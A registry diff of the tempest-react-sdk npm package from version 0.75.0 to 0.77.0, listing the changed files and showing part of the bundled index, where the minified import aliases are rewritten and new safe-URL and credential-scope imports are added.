tempest-react-sdk 0.75.0 → 0.77.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -2
- package/bin/create-tempest-app.e2e.test.mjs +112 -0
- package/bin/create-tempest-app.mjs +69 -28
- package/bin/lib/component/generate.mjs +191 -0
- package/bin/lib/component/generate.test.mjs +336 -0
- package/bin/lib/openapi/escape.mjs +210 -0
- package/bin/lib/openapi/generate.hostile.test.mjs +592 -0
- package/bin/lib/openapi/generate.mjs +93 -17
- package/bin/lib/openapi/schema-to-zod.mjs +41 -4
- package/bin/tempest.mjs +184 -3
- package/dist/auth/create-tempest-auth.cjs +1 -1
- package/dist/auth/create-tempest-auth.cjs.map +1 -1
- package/dist/auth/create-tempest-auth.js +127 -55
- package/dist/auth/create-tempest-auth.js.map +1 -1
- package/dist/auth/refresh-queue.cjs +1 -1
- package/dist/auth/refresh-queue.cjs.map +1 -1
- package/dist/auth/refresh-queue.js +13 -6
- package/dist/auth/refresh-queue.js.map +1 -1
- package/dist/br/pix.cjs +1 -1
- package/dist/br/pix.cjs.map +1 -1
- package/dist/br/pix.js +72 -62
- package/dist/br/pix.js.map +1 -1
- package/dist/br.d.ts +12 -4
- package/dist/components/Chat/ChatAttachments.cjs +1 -1
- package/dist/components/Chat/ChatAttachments.cjs.map +1 -1
- package/dist/components/Chat/ChatAttachments.js +46 -38
- package/dist/components/Chat/ChatAttachments.js.map +1 -1
- package/dist/components/Markdown/markdown-parse.cjs +7 -5
- package/dist/components/Markdown/markdown-parse.cjs.map +1 -1
- package/dist/components/Markdown/markdown-parse.js +151 -87
- package/dist/components/Markdown/markdown-parse.js.map +1 -1
- package/dist/components/Toast/Toast.module.cjs +1 -1
- package/dist/components/Toast/Toast.module.cjs.map +1 -1
- package/dist/components/Toast/Toast.module.js +7 -3
- package/dist/components/Toast/Toast.module.js.map +1 -1
- package/dist/components/Toast/ToastProvider.cjs +1 -1
- package/dist/components/Toast/ToastProvider.cjs.map +1 -1
- package/dist/components/Toast/ToastProvider.js +77 -51
- package/dist/components/Toast/ToastProvider.js.map +1 -1
- package/dist/data/create-data-provider.cjs +1 -1
- package/dist/data/create-data-provider.cjs.map +1 -1
- package/dist/data/create-data-provider.js +32 -21
- package/dist/data/create-data-provider.js.map +1 -1
- package/dist/http/api-client.cjs +1 -1
- package/dist/http/api-client.cjs.map +1 -1
- package/dist/http/api-client.js +81 -73
- package/dist/http/api-client.js.map +1 -1
- package/dist/http/errors.cjs +1 -1
- package/dist/http/errors.cjs.map +1 -1
- package/dist/http/errors.js +39 -35
- package/dist/http/errors.js.map +1 -1
- package/dist/neural.cjs +2 -0
- package/dist/neural.cjs.map +1 -0
- package/dist/neural.d.ts +110 -0
- package/dist/neural.js +48 -0
- package/dist/neural.js.map +1 -0
- package/dist/oauth/callback.cjs +2 -0
- package/dist/oauth/callback.cjs.map +1 -0
- package/dist/oauth/callback.js +42 -0
- package/dist/oauth/callback.js.map +1 -0
- package/dist/oauth/use-oauth-callback.cjs +1 -1
- package/dist/oauth/use-oauth-callback.cjs.map +1 -1
- package/dist/oauth/use-oauth-callback.js +13 -20
- package/dist/oauth/use-oauth-callback.js.map +1 -1
- package/dist/push/use-push-subscription.cjs +1 -1
- package/dist/push/use-push-subscription.cjs.map +1 -1
- package/dist/push/use-push-subscription.js +42 -42
- package/dist/push/use-push-subscription.js.map +1 -1
- package/dist/push/web-push-client.cjs +1 -1
- package/dist/push/web-push-client.cjs.map +1 -1
- package/dist/push/web-push-client.js +23 -3
- package/dist/push/web-push-client.js.map +1 -1
- package/dist/query/offline-persistence.cjs +1 -1
- package/dist/query/offline-persistence.cjs.map +1 -1
- package/dist/query/offline-persistence.js +68 -23
- package/dist/query/offline-persistence.js.map +1 -1
- package/dist/styles/component/Toast.css +6 -1
- package/dist/styles/feedback.css +6 -1
- package/dist/styles.css +1 -1
- package/dist/sw/background-sync.cjs +1 -1
- package/dist/sw/background-sync.cjs.map +1 -1
- package/dist/sw/background-sync.js +271 -60
- package/dist/sw/background-sync.js.map +1 -1
- package/dist/sw/cache-inspect.cjs.map +1 -1
- package/dist/sw/cache-inspect.js.map +1 -1
- package/dist/sw/cache.cjs +1 -1
- package/dist/sw/cache.cjs.map +1 -1
- package/dist/sw/cache.js +91 -64
- package/dist/sw/cache.js.map +1 -1
- package/dist/sw/credential-headers.cjs +2 -0
- package/dist/sw/credential-headers.cjs.map +1 -0
- package/dist/sw/credential-headers.js +17 -0
- package/dist/sw/credential-headers.js.map +1 -0
- package/dist/sw/session-data.cjs +2 -0
- package/dist/sw/session-data.cjs.map +1 -0
- package/dist/sw/session-data.js +17 -0
- package/dist/sw/session-data.js.map +1 -0
- package/dist/sw.cjs +1 -1
- package/dist/sw.d.ts +271 -23
- package/dist/sw.js +7 -5
- package/dist/telemetry/app-error-owner.cjs +2 -0
- package/dist/telemetry/app-error-owner.cjs.map +1 -0
- package/dist/telemetry/app-error-owner.js +18 -0
- package/dist/telemetry/app-error-owner.js.map +1 -0
- package/dist/telemetry/app-error-queue.cjs +1 -1
- package/dist/telemetry/app-error-queue.cjs.map +1 -1
- package/dist/telemetry/app-error-queue.js +19 -14
- package/dist/telemetry/app-error-queue.js.map +1 -1
- package/dist/telemetry/app-error-reporter.cjs +1 -1
- package/dist/telemetry/app-error-reporter.cjs.map +1 -1
- package/dist/telemetry/app-error-reporter.js +75 -34
- package/dist/telemetry/app-error-reporter.js.map +1 -1
- package/dist/telemetry/app-error-transport.cjs +1 -1
- package/dist/telemetry/app-error-transport.cjs.map +1 -1
- package/dist/telemetry/app-error-transport.js +16 -3
- package/dist/telemetry/app-error-transport.js.map +1 -1
- package/dist/tempest-react-sdk.cjs +1 -1
- package/dist/tempest-react-sdk.d.ts +979 -62
- package/dist/tempest-react-sdk.js +160 -156
- package/dist/utils/csv.cjs +3 -3
- package/dist/utils/csv.cjs.map +1 -1
- package/dist/utils/csv.js +16 -13
- package/dist/utils/csv.js.map +1 -1
- package/dist/utils/safe-url.cjs +2 -0
- package/dist/utils/safe-url.cjs.map +1 -0
- package/dist/utils/safe-url.js +39 -0
- package/dist/utils/safe-url.js.map +1 -0
- package/dist/vite/tempest-csp.cjs +2 -2
- package/dist/vite/tempest-csp.cjs.map +1 -1
- package/dist/vite/tempest-csp.js +118 -63
- package/dist/vite/tempest-csp.js.map +1 -1
- package/dist/vite.d.ts +21 -5
- package/dist/webrtc/peer-link.cjs +1 -1
- package/dist/webrtc/peer-link.cjs.map +1 -1
- package/dist/webrtc/peer-link.js +2 -10
- package/dist/webrtc/peer-link.js.map +1 -1
- package/dist/webrtc/peer-mesh.cjs +1 -1
- package/dist/webrtc/peer-mesh.cjs.map +1 -1
- package/dist/webrtc/peer-mesh.js +110 -72
- package/dist/webrtc/peer-mesh.js.map +1 -1
- package/package.json +11 -1
- package/template-pwa/src/pwa.tsx +22 -0
- package/template-pwa/src/sw.ts +27 -14
- package/dist/components/Markdown/markdown-url.cjs +0 -2
- package/dist/components/Markdown/markdown-url.cjs.map +0 -1
- package/dist/components/Markdown/markdown-url.js +0 -28
- package/dist/components/Markdown/markdown-url.js.map +0 -1
|
@@ -210,159 +210,163 @@ import { useBarcodeScanner as Hr } from "./capture/use-barcode-scanner.js";
|
|
|
210
210
|
import { BarcodeScanner as Ur } from "./components/BarcodeScanner/BarcodeScanner.js";
|
|
211
211
|
import { aiChatStrings as Wr, isGenerating as Gr, lastAssistantId as Kr, roleLabel as qr, tailSignature as Jr, turnTime as Yr, visibleTurns as Xr } from "./components/AIChat/ai-chat-turns.js";
|
|
212
212
|
import { AIChatComposer as Zr } from "./components/AIChat/AIChatComposer.js";
|
|
213
|
-
import {
|
|
214
|
-
import {
|
|
215
|
-
import {
|
|
216
|
-
import {
|
|
217
|
-
import {
|
|
218
|
-
import {
|
|
219
|
-
import {
|
|
220
|
-
import {
|
|
221
|
-
import {
|
|
222
|
-
import {
|
|
223
|
-
import {
|
|
224
|
-
import {
|
|
225
|
-
import {
|
|
226
|
-
import {
|
|
227
|
-
import {
|
|
228
|
-
import {
|
|
229
|
-
import {
|
|
230
|
-
import {
|
|
231
|
-
import {
|
|
232
|
-
import {
|
|
233
|
-
import {
|
|
234
|
-
import {
|
|
235
|
-
import {
|
|
236
|
-
import {
|
|
237
|
-
import {
|
|
238
|
-
import {
|
|
239
|
-
import {
|
|
240
|
-
import {
|
|
241
|
-
import {
|
|
242
|
-
import {
|
|
243
|
-
import {
|
|
244
|
-
import {
|
|
245
|
-
import {
|
|
246
|
-
import {
|
|
247
|
-
import {
|
|
248
|
-
import {
|
|
249
|
-
import {
|
|
250
|
-
import {
|
|
251
|
-
import {
|
|
252
|
-
import {
|
|
253
|
-
import {
|
|
254
|
-
import {
|
|
255
|
-
import {
|
|
256
|
-
import {
|
|
257
|
-
import {
|
|
258
|
-
import {
|
|
259
|
-
import {
|
|
260
|
-
import {
|
|
261
|
-
import {
|
|
262
|
-
import {
|
|
263
|
-
import {
|
|
264
|
-
import {
|
|
265
|
-
import {
|
|
266
|
-
import {
|
|
267
|
-
import {
|
|
268
|
-
import {
|
|
269
|
-
import {
|
|
270
|
-
import {
|
|
271
|
-
import {
|
|
272
|
-
import {
|
|
273
|
-
import {
|
|
274
|
-
import {
|
|
275
|
-
import {
|
|
276
|
-
import {
|
|
277
|
-
import {
|
|
278
|
-
import {
|
|
279
|
-
import {
|
|
280
|
-
import {
|
|
281
|
-
import {
|
|
282
|
-
import {
|
|
283
|
-
import {
|
|
284
|
-
import {
|
|
285
|
-
import {
|
|
286
|
-
import {
|
|
287
|
-
import {
|
|
288
|
-
import {
|
|
289
|
-
import {
|
|
290
|
-
import {
|
|
291
|
-
import {
|
|
292
|
-
import {
|
|
293
|
-
import {
|
|
294
|
-
import {
|
|
295
|
-
import {
|
|
296
|
-
import {
|
|
297
|
-
import {
|
|
298
|
-
import {
|
|
299
|
-
import {
|
|
300
|
-
import {
|
|
301
|
-
import {
|
|
302
|
-
import {
|
|
303
|
-
import {
|
|
304
|
-
import {
|
|
305
|
-
import {
|
|
306
|
-
import {
|
|
307
|
-
import {
|
|
308
|
-
import {
|
|
309
|
-
import {
|
|
310
|
-
import {
|
|
311
|
-
import {
|
|
312
|
-
import {
|
|
313
|
-
import {
|
|
314
|
-
import {
|
|
315
|
-
import {
|
|
316
|
-
import {
|
|
317
|
-
import {
|
|
318
|
-
import {
|
|
319
|
-
import {
|
|
320
|
-
import {
|
|
321
|
-
import {
|
|
322
|
-
import {
|
|
323
|
-
import {
|
|
324
|
-
import {
|
|
325
|
-
import {
|
|
326
|
-
import {
|
|
327
|
-
import {
|
|
328
|
-
import {
|
|
329
|
-
import {
|
|
330
|
-
import {
|
|
331
|
-
import {
|
|
332
|
-
import {
|
|
333
|
-
import {
|
|
334
|
-
import {
|
|
335
|
-
import {
|
|
336
|
-
import {
|
|
337
|
-
import {
|
|
338
|
-
import {
|
|
339
|
-
import {
|
|
340
|
-
import {
|
|
341
|
-
import {
|
|
342
|
-
import {
|
|
343
|
-
import {
|
|
344
|
-
import {
|
|
345
|
-
import {
|
|
346
|
-
import {
|
|
347
|
-
import {
|
|
348
|
-
import {
|
|
349
|
-
import {
|
|
350
|
-
import {
|
|
351
|
-
import {
|
|
352
|
-
import {
|
|
353
|
-
import {
|
|
354
|
-
import {
|
|
355
|
-
import {
|
|
356
|
-
import {
|
|
357
|
-
import {
|
|
358
|
-
import {
|
|
359
|
-
import {
|
|
360
|
-
import {
|
|
361
|
-
import {
|
|
362
|
-
import {
|
|
363
|
-
import {
|
|
364
|
-
import {
|
|
365
|
-
import {
|
|
366
|
-
import {
|
|
367
|
-
import {
|
|
368
|
-
export { Qt as ABSENT_TEXT, ei as AIChat, Zr as AIChatComposer, $r as AIChatTurn, Fr as ALL_BARCODE_FORMATS, Vt as ALL_OPTION_VALUE, ga as API_ERROR_OFFLINE_KEY, _a as API_ERROR_VALIDATION_KEY, wr as AUDIO_MIME_CANDIDATES, $a as AccessControlProvider, t as Accordion, n as Alert, i as AppBar, is as AppProviders, Fo as AppRouter, s as AppShell, c as AspectRatio, Sr as AudioPlayer, Pr as AudioRecorder, Fa as AuthGuard, l as Avatar, u as AvatarGroup, a as BREAKPOINTS, d as Badge, f as Banner, ai as BarList, Ur as BarcodeScanner, p as BottomNavigation, h as BottomSheet, g as Breadcrumbs, Lo as BrowserRouter, _ as Button, v as ButtonSlot, so as CACHE_TIME, sc as CEPInput, cc as CNPJInput, lc as CPFInput, $n as Calendar, no as Can, y as Card, ar as Carousel, b as Center, yr as Chat, _r as ChatBubble, vr as ChatComposer, x as Checkbox, S as ChipInput, In as ClickOutside, An as CodeBlock, qn as Collapsible, w as Combobox, Xn as Command, Ln as ConditionalWrapper, E as ConfirmDialog, B as Container, Jn as ContextMenu, pc as Controller, kn as CopyButton, va as DEFAULT_API_ERROR_STRINGS, Ir as DEFAULT_BARCODE_FORMATS, Kc as DEFAULT_CAR_SPEED_KMH, ka as DEFAULT_CHUNK_SIZE, qc as DEFAULT_CIRCUITY_FACTOR, ca as DEFAULT_CSRF_COOKIE_NAME, la as DEFAULT_CSRF_HEADER_NAME, ks as DEFAULT_MAX_GAIN, Jc as DEFAULT_MODE_DURATION_FACTORS, bn as DEFAULT_PLAYBACK_RATES, Ba as DEFAULT_PUB_KEY_CRED_PARAMS, ye as DEFAULT_PUSH_TO_TALK_KEY, Ms as DEFAULT_VOICE_CHAIN, Bl as DIVERGING_STEP_COUNT, Vn as DataList, or as DataTable, O as DatePicker, nr as DateRangePicker, Hn as DescriptionList, k as Divider, A as Drawer, j as DropdownMenu, M as Dropzone, Vc as EARTH_RADIUS_KM, N as EmptyState, rs as ErrorBoundary, P as ErrorState, zn as ErrorText, Pl as FeatureFlagsProvider, F as FileUpload, ui as FilterBar, xi as FilterPanel, cr as FloatingActionButton, Rn as For, I as Form, L as FormActions, Qs as FormField, mc as FormProvider, R as FormRow, z as FormSection, ao as GoogleSignIn, V as Grid, bc as HEARTBEAT_CLOSE_CODE, Ro as HashRouter, Ft as Hide, Yn as HoverCard, xa as I18nProvider, Bn as Image, mn as ImageCropper, D as Input, X as InstallBanner, Z as InstallButton, mt as Kanban, gt as Kbd, Kn as Label, pr as Lightbox, zo as Link, sr as ListTile, Qr as Markdown, ni as Masonry, Bo as MemoryRouter, ir as Menubar, T as Modal, _t as ModalsProvider, Mn as Money, uc as MoneyInput, tr as MultiSelect, bt as NProgressBar, Vo as NavLink, yt as Navbar, Ho as Navigate, rr as NavigationMenu, lr as NavigationRail, vn as NotificationCenter, Vl as ORDINAL_START_STEP, ct as OfflineIndicator, Uo as Outlet, be as PUSH_TO_TALK_KEYS, wt as Page, Tt as Pagination, Va as PasskeyError, Et as PasswordInput, dc as PhoneInput, Ot as PinInput, kt as Popover, C as Portal, At as Progress, Tn as QRCapacityError, On as QRCode, po as QueryProvider, co as REFETCH_TIME, jt as Radio, Mt as RadioGroup, Nt as RangeSlider, Pt as RatingStars, dr as RefreshIndicator, jn as RelativeTime, Qn as Resizable, Fn as Reveal, Wo as Route, Po as RouteGuard, Go as Routes, Hl as SEQUENTIAL_STEP_COUNT, lo as STALE_TIME, Lt as SafeArea, gn as Scheduler, Zn as ScrollArea, Rt as SearchBar, St as Section, Ct as SectionHeader, zt as SegmentedControl, Bt as Select, It as Show, Kt as Sidebar, mr as SignaturePad, qt as Skeleton, er as Slider, Jt as Spacer, hn as Sparkline, Yt as Spinner, H as Stack, Xt as Stat, Zt as Stepper, rn as StepperInput, an as Switch, ft as SyncStatusBadge, sn as Table, cn as Tabs, on as Tag, El as TelemetryProvider, da as TempestApiError, To as TempestDataProvider, ln as Textarea, ts as ThemeProvider, ur as TimePicker, un as Timeline, fn as ToastProvider, Un as Toggle, Wn as ToggleGroup, Gn as ToggleGroupItem, dn as Tooltip, ri as Tour, al as TrajectoryMap, ti as Transfer, Nn as TreeView, Pn as TruncateText, pt as UpdatePrompt, xn as VideoPlayer, Sn as VirtualList, wn as VirtualTable, dt as VisuallyHidden, ls as WebPushClient, us as WebPushPermissionDeniedError, ds as WebPushUnsupportedError, fr as Wizard, Gt as activeNavKey, Wr as aiChatStrings, Te as announce, yi as applyFilters, ht as applyKanbanMove, ol as applyTheme, Hi as assertNever, Ha as base64UrlToBytes, Hc as bearingDeg, Mr as blobToWav, Xc as boundingBox, Zc as boundsCenter, oa as buildApiUrl, ii as buildBarListRows, U as buildOpenInChromeIntent, Ua as bytesToBase64Url, Kl as cachedResponseBytes, Oi as camelCase, ki as capitalize, Pi as chunk, $t as clamp, Ic as clampLatitude, Wa as classifyPasskeyError, Ee as clearAnnouncer, xs as clearCaches, e as cn, Cn as compareValues, wi as compressToString, Ti as compressedStorage, Ei as compressedStorageCodec, wl as consoleSink, Ol as consoleTelemetryAdapter, cl as contrastRatio, ha as createApiClient, Ml as createAppErrorReporter, Nl as createAppErrorTelemetryAdapter, As as createAudioBus, Cs as createAudioPlayer, Tr as createAudioRecorder, Pa as createAuthStore, Lr as createBarcodeDetector, ll as createColorScale, wo as createDataProvider, as as createEventStream, Rl as createGrowthBookFeatureFlagsAdapter, ba as createI18n, Ll as createInMemoryFlags, Yl as createInferenceProfiler, yl as createInverseSurface, Si as createJsonStorage, zl as createLaunchDarklyFeatureFlagsAdapter, Or as createLevelMeter, Dc as createLinkStatsSampler, Aa as createLocalUploadStorage, Tl as createLogger, Cr as createMediaRecorder, nl as createOSRMBackend, qs as createOfflineDatabase, So as createOfflineStore, Js as createOfflineSync, gs as createPartialResponse, Ga as createPasskeyClient, Fc as createPeerMesh, rl as createPositionTracker, Al as createPostHogTelemetryAdapter, uo as createQueryKeys, za as createRefreshQueue, ja as createResumableUpload, ro as createRoleAccessControl, es as createSelectors, kl as createSentryTelemetryAdapter, Ds as createSfxPool, $o as createStore, Qa as createTempestAuth, _l as createTheme, zs as createVideoRecorder, Ns as createVoiceChain, Sc as createWebSocket, ua as csrfHeaders, qi as debounce, Ia as decodeJWT, Di as decompressFromString, Ri as deepMerge, Y as defaultInstallHint, Io as defineRoutes, ya as describeApiError, jl as describeAppError, oi as describeFilter, Ul as divergingScale, ia as downloadCsv, mo as emptyOffsetPage, En as encodeQR, Nr as encodeWav, Dt as estimatePasswordStrength, et as estimateStorage, Yc as estimateTravel, Qc as expandBounds, si as filtersFromSearchParams, bi as filtersToQueryParams, ci as filtersToSearchParams, $c as fitProjection, en as formatBytes, nc as formatCEP, rc as formatCNPJ, di as formatCPF, tn as formatCompactNumber, fi as formatCurrency, pi as formatDate, mi as formatDateForInput, hi as formatDateTime, gi as formatDateTimeForInput, Jl as formatDurationMs, _i as formatPercent, vi as formatPhone, Oa as generateIdempotencyKey, Sl as getInitialTheme, Rr as getSupportedBarcodeFormats, bl as getThemePreset, Fi as groupBy, Uc as haversineKm, ul as hexToOklch, dl as hexToRgb, fl as hexToRgbaString, Ys as higherVersionWins, Ss as inspectCaches, ys as installBackgroundSync, ps as installNotificationClickHandler, _s as installPrecache, ms as installPushHandler, vs as installRuntimeCache, hs as installSkipWaitingListener, W as isAndroid, G as isAndroidWithoutPromptApi, fa as isApiError, br as isAudioOutputSelectionSupported, Er as isAudioRecordingSupported, zr as isBarcodeDetectionSupported, Ka as isConditionalMediationAvailable, Lc as isCoordinate, ho as isCursorPage, Ui as isDefined, zi as isEmpty, _e as isFullscreenSupported, Gr as isGenerating, K as isIOS, La as isJWTExpired, Ar as isMediaCaptureSupported, Wi as isNumber, go as isOffsetPage, qa as isPasskeySupported, Gi as isPlainObject, Ja as isPlatformAuthenticatorAvailable, ss as isPushSupported, xc as isRejectionCloseCode, pa as isRetriableStatus, Us as isScreenCaptureSupported, ta as isShareSupported, Gs as isSpeechRecognitionSupported, q as isStandalone, Ki as isString, sa as isTrustedCredentialTarget, Rc as isValidLatitude, zc as isValidLongitude, Bs as isVideoRecordingSupported, Ps as isVoiceChainIdle, Ai as kebabCase, Kr as lastAssistantId, Xs as lastWriteWins, Ra as lazyWithRetry, Do as listQueryKey, Dn as matrixToPath, Is as measureNoiseFloor, Ji as memoizeOne, Rs as monitorVoiceActivity, Fs as monitorVoiceChain, rt as moveItem, Br as normalizeBarcode, Bc as normalizeLongitude, xt as nprogress, pl as oklchToHex, Bi as omit, Yi as once, Oo as oneQueryKey, li as operatorsFor, Ea as parseResponse, Wc as pathLengthKm, nn as percentOf, io as permissionsFromToken, Co as persistQueryClientOffline, Vi as pick, Dr as pickAudioMimeType, Vs as pickVideoMimeType, ws as playAudio, ji as pluralize, el as projectMercator, xe as pushToTalkKeyLabel, $i as randomId, Ii as range, Oc as readAvailableOutgoingKbps, ql as readDeviceProfile, kc as readQualityLimitation, Ac as readRelayed, jc as readRoundTripMs, sl as readThemeToken, ml as readableForeground, hr as receiptLabel, Ko as redirect, bs as registerPeriodicSync, Xe as registerServiceWorker, hl as relativeLuminance, _n as relativeTime, bo as removeById, tt as requestPersistentStorage, Nc as resolveDegradation, gr as resolveReceiptState, ma as retry, gl as rgbToHex, qr as roleLabel, Pc as scaleForRoom, Wl as scaleSteps, Gl as sequentialScale, xr as setAudioOutput, r as setDevBuild, Ec as setSenderBitrate, wc as setTunedLocalDescription, na as share, ra as shareOrDownloadBlob, fo as shouldRetryQuery, Ze as skipWaiting, Zi as sleep, Mi as slugify, Ts as stopAudio, Ci as storage, Ls as suggestGateThreshold, Jr as tailSignature, vl as themeContrast, Cl as themeInitScript, xl as themePresets, Xi as throttle, aa as toCsv, Ht as toOptions, Gc as toRadians, Ni as truncate, Tc as tuneOpus, Yr as turnTime, Li as uniqueBy, ic as unmask, tl as unprojectMercator, Qe as unregisterAllServiceWorkers, Ma as uploadFingerprint, Da as uploadWithProgress, xo as upsertById, cs as urlBase64ToUint8Array, eo as useAccessControl, De as useAnnounce, ce as useAsync, Es as useAudio, js as useAudioBus, kr as useAudioRecorder, Hr as useBarcodeScanner, he as useBeforeInstallPrompt, o as useBreakpoint, to as useCan, Ke as useClickOutside, ee as useClientFilter, pe as useClipboard, ze as useCountdown, Re as useCounter, ko as useCreate, vo as useCursorQuery, Eo as useDataProvider, Q as useDebounce, te as useDeepMemo, Ao as useDelete, Ta as useDescribeApiError, Ie as useDisclosure, Ve as useDocumentTitle, ue as useDocumentVisibility, re as useDraftFilters, Zs as useErrorHandler, ae as useEventListener, os as useEventStream, He as useFavicon, Fl as useFeatureFlag, hc as useFieldArray, Il as useFlagValue, m as useFocusTrap, gc as useForm, _c as useFormContext, vc as useFormState, ve as useFullscreen, Ce as useGeolocation, Pe as useHover, Sa as useI18n, ge as useIdle, J as useInstallPrompt, de as useIntersectionObserver, Ae as useInterval, qe as useIsFirstRender, me as useKeyboardShortcut, ne as useLatestRef, Mc as useLinkStats, jo as useList, Le as useListState, oe as useLocalStorage, qo as useLocation, Fe as useLongPress, Ye as useLongPressHandlers, Ue as useMap, Jo as useMatch, st as useMediaDevices, ot as useMediaPermission, ie as useMediaQuery, jr as useMicrophone, vt as useModals, Yo as useNavigate, yn as useNotificationInbox, oo as useOAuthCallback, Je as useObjectUrl, yo as useOfflineMutation, lt as useOfflineSync, Mo as useOne, le as useOnline, Ca as useOptionalI18n, _o as usePaginatedQuery, $ as usePagination, Xo as useParams, Ya as usePasskeyCapabilities, Xa as usePasskeyRegistration, Za as usePasskeySignIn, Na as usePoll, il as usePositionTracker, ke as usePrevious, fs as usePushSubscription, Se as usePushToTalk, Ge as useQueue, fe as useResizeObserver, Zo as useRouteError, Ws as useScreenCapture, we as useScrollLock, at as useScrollOverflow, Qo as useSearchParams, $e as useServiceWorkerUpdate, We as useSet, Os as useSfxPool, it as useSortable, Ks as useSpeechRecognition, Oe as useStableCallback, nt as useStorageEstimate, ut as useSyncStatus, Dl as useTelemetry, ns as useTheme, Me as useThrottle, je as useTimeout, pn as useToast, se as useToggle, Vr as useTorch, wa as useTranslate, Be as useTypewriter, No as useUpdate, fc as useViaCEP, Hs as useVideoRecorder, yc as useWatch, Cc as useWebSocket, Ne as useWindowSize, tc as useZodForm, ac as validateCNPJ, oc as validateCPF, $s as validateForm, Xr as visibleTurns, Ut as withAllOption, Wt as withEmptyOption, Qi as withTimeout, ea as writeXlsx, ec as zodResolver };
|
|
213
|
+
import { safeAttachmentUrl as Qr, safeImageUrl as $r, safeLinkUrl as ei } from "./utils/safe-url.js";
|
|
214
|
+
import { Markdown as ti } from "./components/Markdown/Markdown.js";
|
|
215
|
+
import { AIChatTurn as ni } from "./components/AIChat/AIChatTurn.js";
|
|
216
|
+
import { AIChat as ri } from "./components/AIChat/AIChat.js";
|
|
217
|
+
import { Transfer as ii } from "./components/Transfer/Transfer.js";
|
|
218
|
+
import { Masonry as ai } from "./components/Masonry/Masonry.js";
|
|
219
|
+
import { Tour as oi } from "./components/Tour/Tour.js";
|
|
220
|
+
import { buildBarListRows as si } from "./components/BarList/bar-list-model.js";
|
|
221
|
+
import { BarList as ci } from "./components/BarList/BarList.js";
|
|
222
|
+
import { describeFilter as li, filtersFromSearchParams as ui, filtersToSearchParams as di, operatorsFor as fi } from "./components/FilterBar/filter-model.js";
|
|
223
|
+
import { FilterBar as pi } from "./components/FilterBar/FilterBar.js";
|
|
224
|
+
import { formatCPF as mi, formatCurrency as hi, formatDate as gi, formatDateForInput as _i, formatDateTime as vi, formatDateTimeForInput as yi, formatPercent as bi, formatPhone as xi } from "./utils/format.js";
|
|
225
|
+
import { applyFilters as Si } from "./components/FilterBar/filter-apply.js";
|
|
226
|
+
import { filtersToQueryParams as Ci } from "./components/FilterBar/filter-query.js";
|
|
227
|
+
import { FilterPanel as wi } from "./components/FilterPanel/FilterPanel.js";
|
|
228
|
+
import { createJsonStorage as Ti, storage as Ei } from "./utils/storage.js";
|
|
229
|
+
import { compressToString as Di, compressedStorage as Oi, compressedStorageCodec as ki, decompressFromString as Ai } from "./utils/compressed-storage.js";
|
|
230
|
+
import { camelCase as ji, capitalize as Mi, kebabCase as Ni, pluralize as Pi, slugify as Fi, truncate as Ii } from "./utils/strings.js";
|
|
231
|
+
import { chunk as Li, groupBy as Ri, range as zi, uniqueBy as Bi } from "./utils/arrays.js";
|
|
232
|
+
import { deepMerge as Vi, isEmpty as Hi, omit as Ui, pick as Wi } from "./utils/objects.js";
|
|
233
|
+
import { assertNever as Gi, isDefined as Ki, isNumber as qi, isPlainObject as Ji, isString as Yi } from "./utils/guards.js";
|
|
234
|
+
import { debounce as Xi, memoizeOne as Zi, once as Qi, throttle as $i } from "./utils/functions.js";
|
|
235
|
+
import { sleep as ea, withTimeout as ta } from "./utils/promises.js";
|
|
236
|
+
import { randomId as na } from "./utils/ids.js";
|
|
237
|
+
import { writeXlsx as ra } from "./utils/xlsx.js";
|
|
238
|
+
import { isShareSupported as ia, share as aa } from "./share/share.js";
|
|
239
|
+
import { shareOrDownloadBlob as oa } from "./share/share-or-download.js";
|
|
240
|
+
import { downloadCsv as sa, toCsv as ca } from "./utils/csv.js";
|
|
241
|
+
import { buildApiUrl as la } from "./http/build-url.js";
|
|
242
|
+
import { isTrustedCredentialTarget as ua } from "./http/credential-scope.js";
|
|
243
|
+
import { DEFAULT_CSRF_COOKIE_NAME as da, DEFAULT_CSRF_HEADER_NAME as fa, csrfHeaders as pa } from "./http/csrf.js";
|
|
244
|
+
import { SessionSupersededError as ma, TempestApiError as ha, isApiError as ga, isRetriableStatus as _a } from "./http/errors.js";
|
|
245
|
+
import { retry as va } from "./http/retry.js";
|
|
246
|
+
import { createApiClient as ya } from "./http/api-client.js";
|
|
247
|
+
import { API_ERROR_OFFLINE_KEY as ba, API_ERROR_VALIDATION_KEY as xa, DEFAULT_API_ERROR_STRINGS as Sa, describeApiError as Ca } from "./http/describe-api-error.js";
|
|
248
|
+
import { createI18n as wa } from "./i18n/create-i18n.js";
|
|
249
|
+
import { I18nProvider as Ta, useI18n as Ea, useOptionalI18n as Da, useTranslate as Oa } from "./i18n/I18nProvider.js";
|
|
250
|
+
import { useDescribeApiError as ka } from "./http/use-describe-api-error.js";
|
|
251
|
+
import { parseResponse as Aa } from "./http/parse-response.js";
|
|
252
|
+
import { uploadWithProgress as ja } from "./http/upload-with-progress.js";
|
|
253
|
+
import { generateIdempotencyKey as Ma } from "./http/idempotency.js";
|
|
254
|
+
import { DEFAULT_CHUNK_SIZE as Na, createLocalUploadStorage as Pa, createResumableUpload as Fa, uploadFingerprint as Ia } from "./http/resumable-upload.js";
|
|
255
|
+
import { usePoll as La } from "./http/use-poll.js";
|
|
256
|
+
import { createAuthStore as Ra } from "./auth/create-auth-store.js";
|
|
257
|
+
import { AuthGuard as za } from "./auth/AuthGuard.js";
|
|
258
|
+
import { decodeJWT as Ba, isJWTExpired as Va } from "./auth/jwt.js";
|
|
259
|
+
import { lazyWithRetry as Ha } from "./auth/lazy-with-retry.js";
|
|
260
|
+
import { createRefreshQueue as Ua } from "./auth/refresh-queue.js";
|
|
261
|
+
import { DEFAULT_PUB_KEY_CRED_PARAMS as Wa, PasskeyError as Ga, base64UrlToBytes as Ka, bytesToBase64Url as qa, classifyPasskeyError as Ja, createPasskeyClient as Ya, isConditionalMediationAvailable as Xa, isPasskeySupported as Za, isPlatformAuthenticatorAvailable as Qa } from "./auth/passkey.js";
|
|
262
|
+
import { usePasskeyCapabilities as $a, usePasskeyRegistration as eo, usePasskeySignIn as to } from "./auth/use-passkey.js";
|
|
263
|
+
import { createTempestAuth as no } from "./auth/create-tempest-auth.js";
|
|
264
|
+
import { AccessControlProvider as ro, useAccessControl as io } from "./access/access-control-context.js";
|
|
265
|
+
import { useCan as ao } from "./access/use-can.js";
|
|
266
|
+
import { Can as oo } from "./access/Can.js";
|
|
267
|
+
